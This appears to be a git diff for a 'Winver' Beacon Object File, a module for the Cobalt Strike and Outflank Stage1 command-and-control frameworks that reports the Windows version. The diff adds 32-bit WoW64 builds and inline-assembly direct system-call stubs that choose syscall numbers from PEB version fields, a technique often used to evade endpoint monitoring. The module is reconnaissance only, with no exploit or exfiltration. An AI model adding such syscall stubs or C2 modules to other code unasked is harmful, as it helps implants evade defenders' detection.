+CC_x86 := i686-w64-mingw32-gcc CC_x64 := x86_64-w64-mingw32-gcc +STRIP_x86 := i686-w64-mingw32-strip STRIP_x64 := x86_64-w64-mingw32-strip CFLAGS := -masm=intel -all: - $(CC_x64) -o ../$(BOF).o -c $(BOF).c $(CFLAGS) - $(STRIP_x64) --strip-unneeded ../$(BOF).o +all: $(OBJS) + +%.o: %.c + $(CC_x64) $(CFLAGS) -o ../$*.x64.o -c $< + $(STRIP_x64) --strip-unneeded ../$*.x64.o + + $(CC_x86) $(CFLAGS) -o ../$*.x86.o -DWOW64 -fno-leading-underscore -c $< + $(STRIP_x86) --strip-unneeded ../$*.x86.o clean: - rm ../$(BOF).o + rm ../*.o diff --git a/BOF/Winver/SOURCE/Syscalls-WoW64.h b/BOF/Winver/SOURCE/Syscalls-WoW64.h new file mode 100644 index 0000000..489ac8b --- /dev/null +++ b/BOF/Winver/SOURCE/Syscalls-WoW64.h @@ -0,0 +1,78 @@ +#pragma once + +// This function expects a syscall number in eax and will increment it once for every mayor version +// Note, this function will not work for all systemcalls. Only for most of them. +// Example: +// mov eax, 0x23 ; Win 6.1 = 0x23, 6.2 = 0x24, 6.3 = 0x25, 10 = 0x26 +// call ExecuteSimpleSystemCallBase + +__asm__("ExecuteSimpleSystemCallBase: \n\ + pop ecx \n\ + push ebp \n\ + mov ebp, esp \n\ + mov ecx, fs:[0x30] \n\ +ExecuteSimpleSystemCallBase_Check_X_X_XXXX: \n\ + cmp word ptr [ecx+0x0A4], 10 \n\ + je ExecuteSimpleSystemCallBase_SystemCall_10_0_XXXX \n\ + cmp word ptr [ecx+0x0A4], 6 \n\ + jne ExecuteSimpleSystemCallBase_Epilogue \n\ +ExecuteSimpleSystemCallBase_Check_6_X_XXXX: \n\ + cmp word ptr [ecx+0x0A8], 3 \n\ + je ExecuteSimpleSystemCallBase_SystemCall_6_3_XXXX \n\ + cmp word ptr [ecx+0x0A8], 2 \n\ + je ExecuteSimpleSystemCallBase_SystemCall_6_2_XXXX \n\ + cmp word ptr [ecx+0x0A8], 1 \n\ + jne ExecuteSimpleSystemCallBase_Epilogue \n\ + cmp word ptr [ecx+0x0AC], 7601 \n\ + je ExecuteSimpleSystemCallBase_SystemCall_6_1_7601 \n\ + jmp ExecuteSimpleSystemCallBase_Epilogue \n\ +ExecuteSimpleSystemCallBase_SystemCall_10_0_XXXX: \n\ + inc eax \n\ +ExecuteSimpleSystemCallBase_SystemCall_6_3_XXXX: \n\ + inc eax \n\ +ExecuteSimpleSystemCallBase_SystemCall_6_2_XXXX: \n\ + inc eax \n\ +ExecuteSimpleSystemCallBase_SystemCall_6_1_7601: \n\ +ExecuteSimpleSystemCallBase_Argument_Count: \n\ + mov ecx, 0x10 \n\ +ExecuteSimpleSystemCallBase_Push_Argument: \n\ + dec ecx \n\ + push [ebp + 0x08 + ecx * 4] \n\ + jnz ExecuteSimpleSystemCallBase_Push_Argument \n\ + lea ebx,[ExecuteSimpleSystemCallBase_Epilogue] \n\ + push ebx \n\ + call dword ptr fs:[0x0C0] \n\ + lea esp, [esp+4] \n\ +ExecuteSimpleSystemCallBase_Epilogue: \n\ + mov esp, ebp \n\ + pop ebp \n\ + ret \n\ + "); + +__asm__("ZwClose: \n\ + mov eax, 0x00C \n\ + call ExecuteSimpleSystemCallBase \n\ + ret \n\ + "); + +__asm__("ZwOpenKey: \n\ + mov eax, 0x00F \n\ + call ExecuteSimpleSystemCallBase \n\ + ret \n\ + "); + +__asm__("ZwQueryValueKey: \n\ + mov eax, 0x014 \n\ + call ExecuteSimpleSystemCallBase \n\ + ret \n\ + "); + +__asm__("GetTEBAsm64: \n\ + push ebx \n\ + xor ebx, ebx \n\ + xor eax, eax \n\ + mov ebx, dword ptr fs:[0x18] \n\ + mov eax, ebx \n\ + pop ebx \n\ + ret \n\ + "); diff --git a/BOF/Winver/SOURCE/Syscalls.h b/BOF/Winver/SOURCE/Syscalls.h index 224f69b..06b7884 100644 --- a/BOF/Winver/SOURCE/Syscalls.h +++ b/BOF/Winver/SOURCE/Syscalls.h @@ -9,19 +9,19 @@ __asm__("ExecuteSimpleSystemCallBase: \n\ mov r10, gs:[0x60] \n\ ExecuteSimpleSystemCallBase_Check_X_X_XXXX: \n\ - cmp dword ptr [r10+0x118], 10 \n\ + cmp word ptr [r10+0x118], 10 \n\ je ExecuteSimpleSystemCallBase_SystemCall_10_0_XXXX \n\ - cmp dword ptr [r10+0x118], 6 \n\ + cmp word ptr [r10+0x118], 6 \n\ jne ExecuteSimpleSystemCallBase_SystemCall_Unknown \n\ ExecuteSimpleSystemCallBase_Check_6_X_XXXX: \n\ - cmp dword ptr [r10+0x11c], 3 \n\ + cmp word ptr [r10+0x11c], 3 \n\ je ExecuteSimpleSystemCallBase_SystemCall_6_3_XXXX \n\ - cmp dword ptr [r10+0x11c], 2 \n\ + cmp word ptr [r10+0x11c], 2 \n\ je ExecuteSimpleSystemCallBase_SystemCall_6_2_XXXX \n\ - cmp dword ptr [r10+0x11c], 1 \n\ + cmp word ptr [r10+0x11c], 1 \n\ jne ExecuteSimpleSystemCallBase_SystemCall_Unknown \n\ ExecuteSimpleSystemCallBase_Check_6_1_XXXX: \n\ - cmp dword ptr [r10+0x120], 7601 \n\ + cmp word ptr [r10+0x120], 7601 \n\ je ExecuteSimpleSystemCallBase_SystemCall_6_1_7601 \n\ jmp ExecuteSimpleSystemCallBase_SystemCall_Unknown \n\ ExecuteSimpleSystemCallBase_SystemCall_10_0_XXXX: \n\ diff --git a/BOF/Winver/SOURCE/Winver.c b/BOF/Winver/SOURCE/Winver.c index b90400b..e6c60b4 100755 --- a/BOF/Winver/SOURCE/Winver.c +++ b/BOF/Winver/SOURCE/Winver.c @@ -2,7 +2,11 @@ #include #include "Winver.h" +#if defined(WOW64) +#include "Syscalls-WoW64.h" +#else #include "Syscalls.h" +#endif #include "beacon.h" diff --git a/BOF/Winver/Winver.cna b/BOF/Winver/Winver.cna index d426e19..85196f4 100644 --- a/BOF/Winver/Winver.cna +++ b/BOF/Winver/Winver.cna @@ -9,7 +9,7 @@ alias Winver { $bid = $1; # Read in the right BOF file - $handle = openf(script_resource("Winver.o")); + $handle = openf(script_resource("Winver." . barch($bid) . ".o")); $data = readb($handle, -1); closef($handle); diff --git a/BOF/Winver/Winver_bof.s1.py b/BOF/Winver/Winver_bof.s1.py new file mode 100644 index 0000000..4b17e98 --- /dev/null +++ b/BOF/Winver/Winver_bof.s1.py @@ -0,0 +1,10 @@ +from typing import List, Tuple + +from outflank_stage1.task.base_bof_task import BaseBOFTask +from outflank_stage1.task.enums import BOFArgumentEncoding + + +class WinverBOF(BaseBOFTask): + def __init__(self): + super().__init__("Winver") + self.parser.description = "Display the version of Windows that is running, the build number and patch release (Update Build Revision)."